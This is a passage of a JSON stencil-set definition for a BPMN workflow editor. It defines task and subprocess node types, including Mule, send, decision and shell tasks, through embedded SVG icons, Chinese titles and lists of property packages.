/>\\n\\t\\t<text \\n\\t\\t\\tfont-size=\\\"12\\\" \\n\\t\\t\\tid=\\\"text_name\\\" \\n\\t\\t\\tx=\\\"50\\\" \\n\\t\\t\\ty=\\\"40\\\" \\n\\t\\t\\toryx:align=\\\"middle center\\\"\\n\\t\\t\\toryx:fittoelem=\\\"text_frame\\\"\\n\\t\\t\\tstroke=\\\"#373e48\\\">\\n\\t\\t</text>\\n\\t\\n\\t<g id=\\\"muleTask\\\" transform=\\\"translate(4,4)\\\">\\n\\t\\t<path\\n     style=\\\"fill:#bd4848;fill-opacity:1\\\"\\n     d=\\\"M 8,0 C 3.581722,0 0,3.5817 0,8 c 0,4.4183 3.581722,8 8,8 4.418278,0 8,-3.5817 8,-8 L 16,7.6562 C 15.813571,3.3775 12.282847,0 8,0 z M 5.1875,2.7812 8,7.3437 10.8125,2.7812 c 1.323522,0.4299 2.329453,1.5645 2.8125,2.8438 1.136151,2.8609 -0.380702,6.4569 -3.25,7.5937 -0.217837,-0.6102 -0.438416,-1.2022 -0.65625,-1.8125 0.701032,-0.2274 1.313373,-0.6949 1.71875,-1.3125 0.73624,-1.2317 0.939877,-2.6305 -0.03125,-4.3125 l -2.75,4.0625 -0.65625,0 -0.65625,0 -2.75,-4 C 3.5268433,7.6916 3.82626,8.862 4.5625,10.0937 4.967877,10.7113 5.580218,11.1788 6.28125,11.4062 6.063416,12.0165 5.842837,12.6085 5.625,13.2187 2.755702,12.0819 1.238849,8.4858 2.375,5.625 2.858047,4.3457 3.863978,3.2112 5.1875,2.7812 z\\\"\\n     />\\n\\t</g>\\n  \\n\\t<g id=\\\"parallel\\\">\\n\\t\\t<path oryx:anchors=\\\"bottom\\\" fill=\\\"none\\\" stroke=\\\"#bbbbbb\\\" d=\\\"M46 70 v8 M50 70 v8 M54 70 v8\\\" stroke-width=\\\"2\\\" />\\n\\t</g>\\n\\t<g id=\\\"sequential\\\">\\n\\t\\t<path oryx:anchors=\\\"bottom\\\" fill=\\\"none\\\" stroke=\\\"#bbbbbb\\\" stroke-width=\\\"2\\\" d=\\\"M46,76h10M46,72h10 M46,68h10\\\"/>\\n\\t</g>\\n\\t\\n\\n\\t<g id=\\\"compensation\\\">\\n\\t\\t<path oryx:anchors=\\\"bottom\\\" fill=\\\"none\\\" stroke=\\\"#bbbbbb\\\" d=\\\"M 62 74 L 66 70 L 66 78 L 62 74 L 62 70 L 58 74 L 62 78 L 62 74\\\" stroke-width=\\\"1\\\" />\\n\\t</g>\\n  </g>\\n</svg>\",\n    \"icon\" : \"activity/list/type.mule.png\",\n    \"groups\" : [ \"\\u4efb\\u52a1\" ],\n    \"propertyPackages\" : [ \"overrideidpackage\", \"namepackage\", \"documentationpackage\", \"asynchronousdefinitionpackage\", \"exclusivedefinitionpackage\", \"executionlistenerspackage\", \"multiinstance_typepackage\", \"multiinstance_cardinalitypackage\", \"multiinstance_collectionpackage\", \"multiinstance_variablepackage\", \"multiinstance_conditionpackage\", \"isforcompensationpackage\", \"muletaskendpointurlpackage\", \"muletasklanguagepackage\", \"muletaskpayloadexpressionpackage\", \"muletaskresultvariablepackage\" ],\n    \"hiddenPropertyPackages\" : [ ],\n    \"roles\" : [ \"Activity\", \"sequence_start\", \"sequence_end\", \"ActivitiesMorph\", \"all\" ]\n  }, {\n    \"type\" : \"node\",\n    \"id\" : \"SendTask\",\n    \"title\" : \"\\u53d1\\u9001\\u4efb\\u52a1\",\n    \"description\" : \"\\u53d1\\u9001\\u6d88\\u606f\\u7684\\u4efb\\u52a1\",\n    \"view\" : \"<?xml version=\\\"1.0\\\" encoding=\\\"UTF-8\\\" standalone=\\\"no\\\"?>\\n<svg\\n   xmlns=\\\"http://www.w3.org/2000/svg\\\"\\n   xmlns:svg=\\\"http://www.w3.org/2000/svg\\\"\\n   xmlns:oryx=\\\"http://www.b3mn.org/oryx\\\"\\n   xmlns:xlink=\\\"http://www.w3.org/1999/xlink\\\"\\n\\n   width=\\\"102\\\"\\n   height=\\\"82\\\"\\n   version=\\\"1.0\\\">\\n  <defs></defs>\\n  <oryx:magnets>\\n  \\t<oryx:magnet oryx:cx=\\\"1\\\" oryx:cy=\\\"20\\\" oryx:anchors=\\\"left\\\" />\\n  \\t<oryx:magnet oryx:cx=\\\"1\\\" oryx:cy=\\\"40\\\" oryx:anchors=\\\"left\\\" />\\n  \\t<oryx:magnet oryx:cx=\\\"1\\\" oryx:cy=\\\"60\\\" oryx:anchors=\\\"left\\\" />\\n  \\t\\n  \\t<oryx:magnet oryx:cx=\\\"25\\\" oryx:cy=\\\"79\\\" oryx:anchors=\\\"bottom\\\" />\\n  \\t<oryx:magnet oryx:cx=\\\"50\\\" oryx:cy=\\\"79\\\" oryx:anchors=\\\"bottom\\\" />\\n  \\t<oryx:magnet oryx:cx=\\\"75\\\" oryx:cy=\\\"79\\\" oryx:anchors=\\\"bottom\\\" />\\n  \\t\\n  \\t<oryx:magnet oryx:cx=\\\"99\\\" oryx:cy=\\\"20\\\" oryx:anchors=\\\"right\\\" />\\n  \\t<oryx:magnet oryx:cx=\\\"99\\\" oryx:cy=\\\"40\\\" oryx:anchors=\\\"right\\\" />\\n  \\t<oryx:magnet oryx:cx=\\\"99\\\" oryx:cy=\\\"60\\\" oryx:anchors=\\\"right\\\" />\\n  \\t\\n  \\t<oryx:magnet oryx:cx=\\\"25\\\" oryx:cy=\\\"1\\\" oryx:anchors=\\\"top\\\" />\\n  \\t<oryx:magnet oryx:cx=\\\"50\\\" oryx:cy=\\\"1\\\" oryx:anchors=\\\"top\\\" />\\n  \\t<oryx:magnet oryx:cx=\\\"75\\\" oryx:cy=\\\"1\\\" oryx:anchors=\\\"top\\\" />\\n  \\t\\n  \\t<oryx:magnet oryx:cx=\\\"50\\\" oryx:cy=\\\"40\\\" oryx:default=\\\"yes\\\" />\\n  </oryx:magnets>\\n  <g pointer-events=\\\"fill\\\" oryx:minimumSize=\\\"50 40\\\">\\n\\t<rect id=\\\"text_frame\\\" oryx:anchors=\\\"bottom top right left\\\" x=\\\"1\\\" y=\\\"1\\\" width=\\\"94\\\" height=\\\"79\\\" rx=\\\"10\\\" ry=\\\"10\\\" stroke=\\\"none\\\" stroke-width=\\\"0\\\" fill=\\\"none\\\" />\\n\\t<rect id=\\\"bg_frame\\\" oryx:resize=\\\"vertical horizontal\\\" x=\\\"0\\\" y=\\\"0\\\" width=\\\"100\\\" height=\\\"80\\\" rx=\\\"10\\\" ry=\\\"10\\\" stroke=\\\"#bbbbbb\\\" stroke-width=\\\"1\\\" fill=\\\"#f9f9f9\\\" />\\n\\t\\t<text \\n\\t\\t\\tfont-size=\\\"12\\\" \\n\\t\\t\\tid=\\\"text_name\\\" \\n\\t\\t\\tx=\\\"50\\\" \\n\\t\\t\\ty=\\\"40\\\" \\n\\t\\t\\toryx:align=\\\"middle center\\\"\\n\\t\\t\\toryx:fittoelem=\\\"text_frame\\\"\\n\\t\\t\\tstroke=\\\"#373e48\\\">\\n\\t\\t</text>\\n    \\n\\t<g id=\\\"sendTask\\\" transform=\\\"translate(4,3)\\\">\\n\\t\\n\\t<!-- path here -->\\n\\t\\t<path oryx:anchors=\\\"top left\\\"\\n\\t\\t\\tstyle=\\\"fill:#16964d;stroke:none;\\\"\\n     \\t\\td=\\\"M 1 3 L 9 11 L 17 3 L 1 3 z M 1 5 L 1 13 L 5 9 L 1 5 z M 17 5 L 13 9 L 17 13 L 17 5 z M 6 10 L 1 15 L 17 15 L 12 10 L 9 13 L 6 10 z \\\"\\n     \\t/>\\n\\t</g>\\n\\t\\n\\t<g id=\\\"parallel\\\">\\n\\t\\t<path oryx:anchors=\\\"bottom\\\" fill=\\\"none\\\" stroke=\\\"#bbbbbb\\\" d=\\\"M46 70 v8 M50 70 v8 M54 70 v8\\\" stroke-width=\\\"2\\\" />\\n\\t</g>\\n\\t\\n\\t<g id=\\\"sequential\\\">\\n\\t\\t<path oryx:anchors=\\\"bottom\\\" fill=\\\"none\\\" stroke=\\\"#bbbbbb\\\" stroke-width=\\\"2\\\" d=\\\"M46,76h10M46,72h10 M46,68h10\\\"/>\\n\\t</g>\\n\\n\\t<g id=\\\"compensation\\\">\\n\\t\\t<path oryx:anchors=\\\"bottom\\\" fill=\\\"none\\\" stroke=\\\"#bbbbbb\\\" d=\\\"M 62 74 L 66 70 L 66 78 L 62 74 L 62 70 L 58 74 L 62 78 L 62 74\\\" stroke-width=\\\"1\\\" />\\n\\t</g>\\n  </g>\\n</svg>\",\n    \"icon\" : \"activity/list/type.send.png\",\n    \"groups\" : [ \"\\u4efb\\u52a1\" ],\n    \"propertyPackages\" : [ \"overrideidpackage\", \"namepackage\", \"documentationpackage\", \"asynchronousdefinitionpackage\", \"exclusivedefinitionpackage\", \"executionlistenerspackage\", \"multiinstance_typepackage\", \"multiinstance_cardinalitypackage\", \"multiinstance_collectionpackage\", \"multiinstance_variablepackage\", \"multiinstance_conditionpackage\", \"isforcompensationpackage\" ],\n    \"hiddenPropertyPackages\" : [ ],\n    \"roles\" : [ \"Activity\", \"sequence_start\", \"sequence_end\", \"ActivitiesMorph\", \"all\" ]\n  }, {\n    \"type\" : \"node\",\n    \"id\" : \"DecisionTask\",\n    \"title\" : \"决策任务\",\n    \"description\" : \"使用可流动DMN规则引擎的任务\",\n    \"view\" : \"<?xml version=\\\"1.0\\\" encoding=\\\"UTF-8\\\" standalone=\\\"no\\\"?>\\n<svg\\n   xmlns=\\\"http://www.w3.org/2000/svg\\\"\\n   xmlns:svg=\\\"http://www.w3.org/2000/svg\\\"\\n   xmlns:oryx=\\\"http://www.b3mn.org/oryx\\\"\\n   xmlns:xlink=\\\"http://www.w3.org/1999/xlink\\\"\\n\\n   width=\\\"102\\\"\\n   height=\\\"82\\\"\\n   version=\\\"1.0\\\">\\n  <defs></defs>\\n  <oryx:magnets>\\n  \\t<oryx:magnet oryx:cx=\\\"1\\\" oryx:cy=\\\"20\\\" oryx:anchors=\\\"left\\\" />\\n  \\t<oryx:magnet oryx:cx=\\\"1\\\" oryx:cy=\\\"40\\\" oryx:anchors=\\\"left\\\" />\\n  \\t<oryx:magnet oryx:cx=\\\"1\\\" oryx:cy=\\\"60\\\" oryx:anchors=\\\"left\\\" />\\n  \\t\\n  \\t<oryx:magnet oryx:cx=\\\"25\\\" oryx:cy=\\\"79\\\" oryx:anchors=\\\"bottom\\\" />\\n  \\t<oryx:magnet oryx:cx=\\\"50\\\" oryx:cy=\\\"79\\\" oryx:anchors=\\\"bottom\\\" />\\n  \\t<oryx:magnet oryx:cx=\\\"75\\\" oryx:cy=\\\"79\\\" oryx:anchors=\\\"bottom\\\" />\\n  \\t\\n  \\t<oryx:magnet oryx:cx=\\\"99\\\" oryx:cy=\\\"20\\\" oryx:anchors=\\\"right\\\" />\\n  \\t<oryx:magnet oryx:cx=\\\"99\\\" oryx:cy=\\\"40\\\" oryx:anchors=\\\"right\\\" />\\n  \\t<oryx:magnet oryx:cx=\\\"99\\\" oryx:cy=\\\"60\\\" oryx:anchors=\\\"right\\\" />\\n  \\t\\n  \\t<oryx:magnet oryx:cx=\\\"25\\\" oryx:cy=\\\"1\\\" oryx:anchors=\\\"top\\\" />\\n  \\t<oryx:magnet oryx:cx=\\\"50\\\" oryx:cy=\\\"1\\\" oryx:anchors=\\\"top\\\" />\\n  \\t<oryx:magnet oryx:cx=\\\"75\\\" oryx:cy=\\\"1\\\" oryx:anchors=\\\"top\\\" />\\n  \\t\\n  \\t<oryx:magnet oryx:cx=\\\"50\\\" oryx:cy=\\\"40\\\" oryx:default=\\\"yes\\\" />\\n  </oryx:magnets>\\n  <g pointer-events=\\\"fill\\\" oryx:minimumSize=\\\"50 40\\\">\\n\\t<rect id=\\\"text_frame\\\" oryx:anchors=\\\"bottom top right left\\\" x=\\\"1\\\" y=\\\"1\\\" width=\\\"94\\\" height=\\\"79\\\" rx=\\\"10\\\" ry=\\\"10\\\" stroke=\\\"none\\\" stroke-width=\\\"0\\\" fill=\\\"none\\\" />\\n\\t<rect id=\\\"bg_frame\\\" oryx:resize=\\\"vertical horizontal\\\" x=\\\"0\\\" y=\\\"0\\\" width=\\\"100\\\" height=\\\"80\\\" rx=\\\"10\\\" ry=\\\"10\\\" stroke=\\\"#bbbbbb\\\" stroke-width=\\\"1\\\" fill=\\\"#f9f9f9\\\" />\\n\\t\\t<text \\n\\t\\t\\tfont-size=\\\"12\\\" \\n\\t\\t\\tid=\\\"text_name\\\" \\n\\t\\t\\tx=\\\"50\\\" \\n\\t\\t\\ty=\\\"40\\\" \\n\\t\\t\\toryx:align=\\\"middle center\\\"\\n\\t\\t\\toryx:fittoelem=\\\"text_frame\\\"\\n\\t\\t\\tstroke=\\\"#373e48\\\">\\n\\t\\t</text>\\n\\t\\n\\t<g id=\\\"decisionTask\\\" transform=\\\"translate(4,3)\\\">\\n\\t\\t<path oryx:anchors=\\\"top left\\\"\\n\\t\\t\\t d=\\\"m 1,2 0,14 16,0 0,-14 z m 1.9,2.4000386 3.7,0 0,2.7999224 -3.7,0 z m 4.36364,0 3.7,0 0,2.7999224 -3.7,0 z m 4.36364,0 3.7,0 0,2.7999224 -3.7,0 z m -8.67364,3.9 3.7,0 0,2.7999224 -3.7,0 z m 4.36364,0 3.7,0 0,2.7999224 -3.7,0 z m 4.36364,0 3.7,0 0,2.7999224 -3.7,0 z m -8.67364,3.9 3.7,0 0,2.7999224 -3.7,0 z m 4.36364,0 3.7,0 0,2.7999224 -3.7,0 z m 4.36364,0 3.7,0 0,2.7999224 -3.7,0 z\\\"\\n     \\t\\tstyle=\\\"fill:#72a7d0;stroke:none\\\"\\n\\t\\t/>\\n\\t</g>\\n\\n\\t<g id=\\\"parallel\\\">\\n\\t\\t<path oryx:anchors=\\\"bottom\\\" fill=\\\"none\\\" stroke=\\\"#bbbbbb\\\" d=\\\"M46 70 v8 M50 70 v8 M54 70 v8\\\" stroke-width=\\\"2\\\" />\\n\\t</g>\\n\\t\\n\\t<g id=\\\"sequential\\\">\\n\\t\\t<path oryx:anchors=\\\"bottom\\\" fill=\\\"none\\\" stroke=\\\"#bbbbbb\\\" stroke-width=\\\"2\\\" d=\\\"M46,76h10M46,72h10 M46,68h10\\\"/>\\n\\t</g>\\n\\t\\n\\t<g id=\\\"compensation\\\">\\n\\t\\t<path oryx:anchors=\\\"bottom\\\" fill=\\\"none\\\" stroke=\\\"#bbbbbb\\\" d=\\\"M 62 74 L 66 70 L 66 78 L 62 74 L 62 70 L 58 74 L 62 78 L 62 74\\\" stroke-width=\\\"1\\\" />\\n\\t</g>\\n  </g>\\n</svg>\",\n    \"icon\" : \"activity/list/type.decision.png\",\n    \"groups\" : [ \"\\u4efb\\u52a1\" ],\n    \"propertyPackages\" : [ \"overrideidpackage\", \"namepackage\", \"documentationpackage\", \"asynchronousdefinitionpackage\", \"exclusivedefinitionpackage\", \"executionlistenerspackage\", \"multiinstance_typepackage\", \"multiinstance_cardinalitypackage\", \"multiinstance_collectionpackage\", \"multiinstance_variablepackage\", \"multiinstance_conditionpackage\", \"isforcompensationpackage\", \"decisiontaskdecisiontablereferencepackage\", \"decisiontaskthrowerroronnohitspackage\" ],\n    \"hiddenPropertyPackages\" : [ ],\n    \"roles\" : [ \"Activity\", \"sequence_start\", \"sequence_end\", \"ActivitiesMorph\", \"all\" ]\n  },\n    {\n      \"type\": \"node\",\n      \"id\": \"ShellTask\",\n      \"title\": \"Shell任务\",\n      \"description\": \"shell批量逻辑的自动任务\",\n      \"view\": \"<?xml version=\\\"1.0\\\" encoding=\\\"UTF-8\\\" standalone=\\\"no\\\"?>\\n<svg\\n   xmlns=\\\"http://www.w3.org/2000/svg\\\"\\n   xmlns:svg=\\\"http://www.w3.org/2000/svg\\\"\\n   xmlns:oryx=\\\"http://www.b3mn.org/oryx\\\"\\n   xmlns:xlink=\\\"http://www.w3.org/1999/xlink\\\"\\n\\n   width=\\\"102\\\"\\n   height=\\\"82\\\"\\n   version=\\\"1.0\\\">\\n  <defs></defs>\\n  <oryx:magnets>\\n  \\t<oryx:magnet oryx:cx=\\\"1\\\" oryx:cy=\\\"20\\\" oryx:anchors=\\\"left\\\" />\\n  \\t<oryx:magnet oryx:cx=\\\"1\\\" oryx:cy=\\\"40\\\" oryx:anchors=\\\"left\\\" />\\n  \\t<oryx:magnet oryx:cx=\\\"1\\\" oryx:cy=\\\"60\\\" oryx:anchors=\\\"left\\\" />\\n  \\t\\n  \\t<oryx:magnet oryx:cx=\\\"25\\\" oryx:cy=\\\"79\\\" oryx:anchors=\\\"bottom\\\" />\\n  \\t<oryx:magnet oryx:cx=\\\"50\\\" oryx:cy=\\\"79\\\" oryx:anchors=\\\"bottom\\\" />\\n  \\t<oryx:magnet oryx:cx=\\\"75\\\" oryx:cy=\\\"79\\\" oryx:anchors=\\\"bottom\\\" />\\n  \\t\\n  \\t<oryx:magnet oryx:cx=\\\"99\\\" oryx:cy=\\\"20\\\" oryx:anchors=\\\"right\\\" />\\n  \\t<oryx:magnet oryx:cx=\\\"99\\\" oryx:cy=\\\"40\\\" oryx:anchors=\\\"right\\\" />\\n  \\t<oryx:magnet oryx:cx=\\\"99\\\" oryx:cy=\\\"60\\\" oryx:anchors=\\\"right\\\" />\\n  \\t\\n  \\t<oryx:magnet oryx:cx=\\\"25\\\" oryx:cy=\\\"1\\\" oryx:anchors=\\\"top\\\" />\\n  \\t<oryx:magnet oryx:cx=\\\"50\\\" oryx:cy=\\\"1\\\" oryx:anchors=\\\"top\\\" />\\n  \\t<oryx:magnet oryx:cx=\\\"75\\\" oryx:cy=\\\"1\\\" oryx:anchors=\\\"top\\\" />\\n  \\t\\n  \\t<oryx:magnet oryx:cx=\\\"50\\\" oryx:cy=\\\"40\\\" oryx:default=\\\"yes\\\" />\\n  </oryx:magnets>\\n  <g pointer-events=\\\"fill\\\" oryx:minimumSize=\\\"50 40\\\">\\n\\t<rect id=\\\"text_frame\\\" oryx:anchors=\\\"bottom top right left\\\" x=\\\"1\\\" y=\\\"1\\\" width=\\\"94\\\" height=\\\"79\\\" rx=\\\"10\\\" ry=\\\"10\\\" stroke=\\\"none\\\" stroke-width=\\\"0\\\" fill=\\\"none\\\" />\\n\\t<rect id=\\\"bg_frame\\\" oryx:resize=\\\"vertical horizontal\\\" x=\\\"0\\\" y=\\\"0\\\" width=\\\"100\\\" height=\\\"80\\\" rx=\\\"10\\\" ry=\\\"10\\\" stroke=\\\"#bbbbbb\\\" stroke-width=\\\"1\\\" fill=\\\"#f9f9f9\\\" />\\n\\t\\t<text \\n\\t\\t\\tfont-size=\\\"12\\\" \\n\\t\\t\\tid=\\\"text_name\\\" \\n\\t\\t\\tx=\\\"50\\\" \\n\\t\\t\\ty=\\\"40\\\" \\n\\t\\t\\toryx:align=\\\"middle center\\\"\\n\\t\\t\\toryx:fittoelem=\\\"text_frame\\\"\\n\\t\\t\\tstroke=\\\"#373e48\\\">\\n\\t\\t</text>\\n\\t\\n\\t<g id=\\\"shellTask\\\" transform=\\\"translate(2,2)\\\">\\n\\t\\t<path oryx:anchors=\\\"top left\\\"\\n\\t\\t\\td=\\\"m 1,2 0,14 16,0 0,-14 z m 1.4,3 12.7,0 0,10 -12.7,0 z\\\"\\n     \\t\\tstyle=\\\"fill:#72a7d0;stroke:none\\\"\\n\\t\\t/><text x='3' y='9' style='fill:#72a7d0;font-size:5px;'><![CDATA[>_]]></text>\\n\\t</g>\\n  \\n\\t<g id=\\\"parallel\\\">\\n\\t\\t<path oryx:anchors=\\\"bottom\\\" fill=\\\"none\\\" stroke=\\\"#bbbbbb\\\" d=\\\"M46 70 v8 M50 70 v8 M54 70 v8\\\" stroke-width=\\\"2\\\" />\\n\\t</g>\\n\\t<g id=\\\"sequential\\\">\\n\\t\\t<path oryx:anchors=\\\"bottom\\\" fill=\\\"none\\\" stroke=\\\"#bbbbbb\\\" stroke-width=\\\"2\\\" d=\\\"M46,76h10M46,72h10 M46,68h10\\\"/>\\n\\t</g>\\n\\t\\n\\n\\t<g id=\\\"compensation\\\">\\n\\t\\t<path oryx:anchors=\\\"bottom\\\" fill=\\\"none\\\" stroke=\\\"#bbbbbb\\\" d=\\\"M 62 74 L 66 70 L 66 78 L 62 74 L 62 70 L 58 74 L 62 78 L 62 74\\\" stroke-width=\\\"1\\\" />\\n\\t</g>\\n  </g>\\n</svg>\",\n      \"icon\": \"activity/list/type.shell.png\",\n      \"groups\": [\n        \"\\u4efb\\u52a1\"\n      ],\n      \"propertyPackages\": [\n        \"overrideidpackage\",\n        \"namepackage\",\n        \"documentationpackage\",\n        \"asynchronousdefinitionpackage\",\n        \"shellcommandpackage\",\n        \"shellarg1package\",\n        \"shellarg2package\",\n        \"shellarg3package\",\n        \"shellarg4package\",\n        \"shellarg5package\",\n        \"shellwaitpackage\",\n        \"shelloutputvariablepackage\",\n        \"shellerrorcodevariablepackage\",\n        \"shellredirecterrorpackage\",\n        \"shellcleanenvpackage\",\n        \"shelldirectorypackage\",\n        \"exclusivedefinitionpackage\",\n        \"executionlistenerspackage\",\n        \"multiinstance_typepackage\",\n        \"multiinstance_cardinalitypackage\",\n        \"multiinstance_collectionpackage\",\n        \"multiinstance_variablepackage\",\n        \"multiinstance_conditionpackage\",\n        \"isforcompensationpackage\"\n      ],\n      \"hiddenPropertyPackages\": [],\n      \"roles\": [\n        \"Activity\",\n        \"sequence_start\",\n        \"sequence_end\",\n        \"ActivitiesMorph\",\n        \"all\"\n      ]\n    },{\n    \"type\" : \"node\",\n    \"id\" : \"SubProcess\",\n    \"title\" : \"\\u5b50\\u6d41\\u7a0b\",\n    \"description\" : \"\\u5b50\\u6d41\\u7a0b\\u8303\\u56f4\",\n    \"view\" : \"<?xml version=\\\"1.0\\\" encoding=\\\"UTF-8\\\" standalone=\\\"no\\\"?>\\n<svg\\n   xmlns=\\\"http://www.w3.org/2000/svg\\\"\\n   xmlns:svg=\\\"http://www.w3.org/2000/svg\\\"\\n   xmlns:oryx=\\\"http://www.b3mn.org/oryx\\\"\\n   xmlns:xlink=\\\"http://www.w3.org/1999/xlink\\\"\\n   width=\\\"200\\\"\\n   height=\\\"160\\\"\\n   version=\\\"1.0\\\">\\n  <defs></defs>\\n  <oryx:magnets>\\n  \\t<oryx:magnet oryx:cx=\\\"1\\\" oryx:cy=\\\"50\\\" oryx:anchors=\\\"left\\\" />\\n  \\t<oryx:magnet oryx:cx=\\\"1\\\" oryx:cy=\\\"80\\\" oryx:anchors=\\\"left\\\" />\\n  \\t<oryx:magnet oryx:cx=\\\"1\\\" oryx:cy=\\\"110\\\" oryx:anchors=\\\"left\\\" />\\n  \\t\\n  \\t<oryx:magnet oryx:cx=\\\"70\\\" oryx:cy=\\\"159\\\" oryx:anchors=\\\"bottom\\\" />\\n  \\t<oryx:magnet oryx:cx=\\\"100\\\" oryx:cy=\\\"159\\\" oryx:anchors=\\\"bottom\\\" />\\n  \\t<oryx:magnet oryx:cx=\\\"130\\\" oryx:cy=\\\"159\\\" oryx:anchors=\\\"bottom\\\" />\\n  \\t\\n  \\t<oryx:magnet oryx:cx=\\\"199\\\" oryx:cy=\\\"50\\\" oryx:anchors=\\\"right\\\" />\\n  \\t<oryx:magnet oryx:cx=\\\"199\\\" oryx:cy=\\\"80\\\" oryx:anchors=\\\"right\\\" />\\n  \\t<oryx:magnet oryx:cx=\\\"199\\\" oryx:cy=\\\"110\\\" oryx:anchors=\\\"right\\\" />\\n  \\t\\n  \\t<oryx:magnet oryx:cx=\\\"70\\\" oryx:cy=\\\"1\\\" oryx:anchors=\\\"top\\\" />\\n  \\t<oryx:magnet oryx:cx=\\\"100\\\" oryx:cy=\\\"1\\\" oryx:anchors=\\\"top\\\" />\\n  \\t<oryx:magnet oryx:cx=\\\"130\\\" oryx:cy=\\\"1\\\" oryx:anchors=\\\"top\\\" />\\n  \\t\\n  \\t<oryx:magnet oryx:cx=\\\"100\\\" oryx:cy=\\\"80\\\" oryx:default=\\\"yes\\\" />\\n  </oryx:magnets>\\n  <g pointer-events=\\\"fill\\\" oryx:minimumSize=\\\"120 100\\\" oryx:maximumSize=\\\"\\\" >\\n    <rect id=\\\"text_frame\\\" oryx:anchors=\\\"bottom top right left\\\" x=\\\"0\\\" y=\\\"0\\\" width=\\\"190\\\" height=\\\"160\\\" rx=\\\"10\\\" ry=\\\"10\\\" stroke=\\\"none\\\" stroke-width=\\\"0\\\" fill=\\\"none\\\" />\\n\\t<rect id=\\\"bg_frame\\\" oryx:anchors=\\\"bottom top right left\\\" x=\\\"0\\\" y=\\\"0\\\" width=\\\"200\\\" height=\\\"160\\\" rx=\\\"10\\\" ry=\\\"10\\\" stroke=\\\"#bbbbbb\\\" stroke-width=\\\"1\\\" fill=\\\"#ffffff\\\" />\\n\\t<rect id=\\\"border\\\" oryx:anchors=\\\"top bottom left right\\\" oryx:resize=\\\"vertical horizontal\\\" x=\\\"2.5\\\" y=\\\"2.5\\\" width=\\\"195\\\" height=\\\"155\\\" rx=\\\"8\\\" ry=\\\"8\\\" stroke=\\\"black\\\" stroke-width=\\\"1\\\" fill=\\\"none\\\" />\\n\\t<text \\n\\t\\tfont-size=\\\"12\\\" \\n\\t\\tid=\\\"text_name\\\" \\n\\t\\tx=\\\"8\\\" \\n\\t\\ty=\\\"10\\\" \\n\\t\\toryx:align=\\\"top left\\\"\\n\\t\\toryx:fittoelem=\\\"text_frame\\\"\\n\\t\\toryx:anchors=\\\"left top\\\" \\n\\t\\tstroke=\\\"#373e48\\\">\\n\\t</text>\\n\\t\\n\\t<g \\tid=\\\"parallel\\\"\\n\\t\\ttransform=\\\"translate(1)\\\">\\n\\t\\t<path \\n\\t\\t\\tid=\\\"parallelpath\\\"\\n\\t\\t\\toryx:anchors=\\\"bottom\\\" \\n\\t\\t\\tfill=\\\"none\\\" stroke=\\\"#bbbbbb\\\" d=\\\"M96 145 v10 M100 145 v10 M104 145 v10\\\" \\n\\t\\t\\tstroke-width=\\\"2\\\"\\n\\t\\t/>\\n\\t</g>\\n\\t<g \\tid=\\\"sequential\\\"\\n\\t\\ttransform=\\\"translate(1)\\\">\\n\\t\\t<path \\n\\t\\t\\tid=\\\"sequentialpath\\\"\\n\\t\\t\\toryx:anchors=\\\"bottom\\\" \\n\\t\\t\\tfill=\\\"none\\\" stroke=\\\"#bbbbbb\\\" stroke-width=\\\"2\\\" d=\\\"M95,154h10 M95,150h10 M95,146h10\\\"\\n\\t\\t/>\\n\\t</g>\\n  </g>\\n</svg>\",\n    \"icon\" : \"activity/expanded.subprocess.png\",\n    \"groups\" : [ \"子流程\" ],\n    \"propertyPackages\" : [ \"overrideidpackage\", \"namepackage\", \"documentationpackage\", \"asynchronousdefinitionpackage\", \"exclusivedefinitionpackage\", \"datapropertiespackage\", \"executionlistenerspackage\", \"multiinstance_typepackage\", \"multiinstance_cardinalitypackage\", \"multiinstance_collectionpackage\", \"multiinstance_variablepackage\", \"multiinstance_conditionpackage\", \"istransactionpackage\" ],\n    \"hiddenPropertyPackages\" : [ ],\n    \"roles\" : [ \"Activity\", \"sequence_start\", \"sequence_end\", \"all\" ]\n  },{\n    \"type\" : \"node\",\n    \"id\" : \"CollapsedSubProcess\",\n    \"title\" : \"折叠子过程\",\n    \"description\" : \"子过程范围\",\n    \"view\" : \"<?xml version=\\\"1.0\\\" encoding=\\\"UTF-8\\\" standalone=\\\"no\\\"?>\\n<svg\\n   xmlns=\\\"http://www.w3.org/2000/svg\\\"\\n   xmlns:svg=\\\"http://www.w3.org/2000/svg\\\"\\n   xmlns:oryx=\\\"http://www.b3mn.org/oryx\\\"\\n   xmlns:xlink=\\\"http://www.w3.org/1999/xlink\\\"\\n   width=\\\"102\\\"\\n   height=\\\"82\\\"\\n   version=\\\"1.0\\\">\\n  <defs></defs>\\n  <oryx:magnets>\\n  \\t<oryx:magnet oryx:cx=\\\"1\\\" oryx:cy=\\\"20\\\" oryx:anchors=\\\"left\\\" />\\n  \\t<oryx:magnet oryx:cx=\\\"1\\\" oryx:cy=\\\"40\\\" oryx:anchors=\\\"left\\\" />\\n  \\t<oryx:magnet oryx:cx=\\\"1\\\" oryx:cy=\\\"60\\\" oryx:anchors=\\\"left\\\" />\\n  \\t\\n  \\t<oryx:magnet oryx:cx=\\\"25\\\" oryx:cy=\\\"79\\\" oryx:anchors=\\\"bottom\\\" />\\n  \\t<oryx:magnet oryx:cx=\\\"50\\\" oryx:cy=\\\"79\\\" oryx:anchors=\\\"bottom\\\" />\\n  \\t<oryx:magnet oryx:cx=\\\"75\\\" oryx:cy=\\\"79\\\" oryx:anchors=\\\"bottom\\\" />\\n  \\t\\n  \\t<oryx:magnet oryx:cx=\\\"99\\\" oryx:cy=\\\"20\\\" oryx:anchors=\\\"right\\\" />\\n  \\t<oryx:magnet oryx:cx=\\\"99\\\" oryx:cy=\\\"40\\\" oryx:anchors=\\\"right\\\" />\\n  \\t<oryx:magnet oryx:cx=\\\"99\\\" oryx:cy=\\\"60\\\" oryx:anchors=\\\"right\\\" />\\n  \\t\\n  \\t<oryx:magnet oryx:cx=\\\"25\\\" oryx:cy=\\\"1\\\" oryx:anchors=\\\"top\\\" />\\n  \\t<oryx:magnet oryx:cx=\\\"50\\\" oryx:cy=\\\"1\\\" oryx:anchors=\\\"top\\\" />\\n  \\t<oryx:magnet oryx:cx=\\\"75\\\" oryx:cy=\\\"1\\\" oryx:anchors=\\\"top\\\" />\\n  \\t\\n  \\t<oryx:magnet oryx:cx=\\\"50\\\" oryx:cy=\\\"40\\\" oryx:default=\\\"yes\\\" />\\n  </oryx:magnets>\\n  <g pointer-events=\\\"fill\\\" oryx:minimumSize=\\\"50 40\\\">\\n\\t<rect id=\\\"text_frame\\\" oryx:anchors=\\\"bottom top right left\\\" x=\\\"1\\\" y=\\\"1\\\" 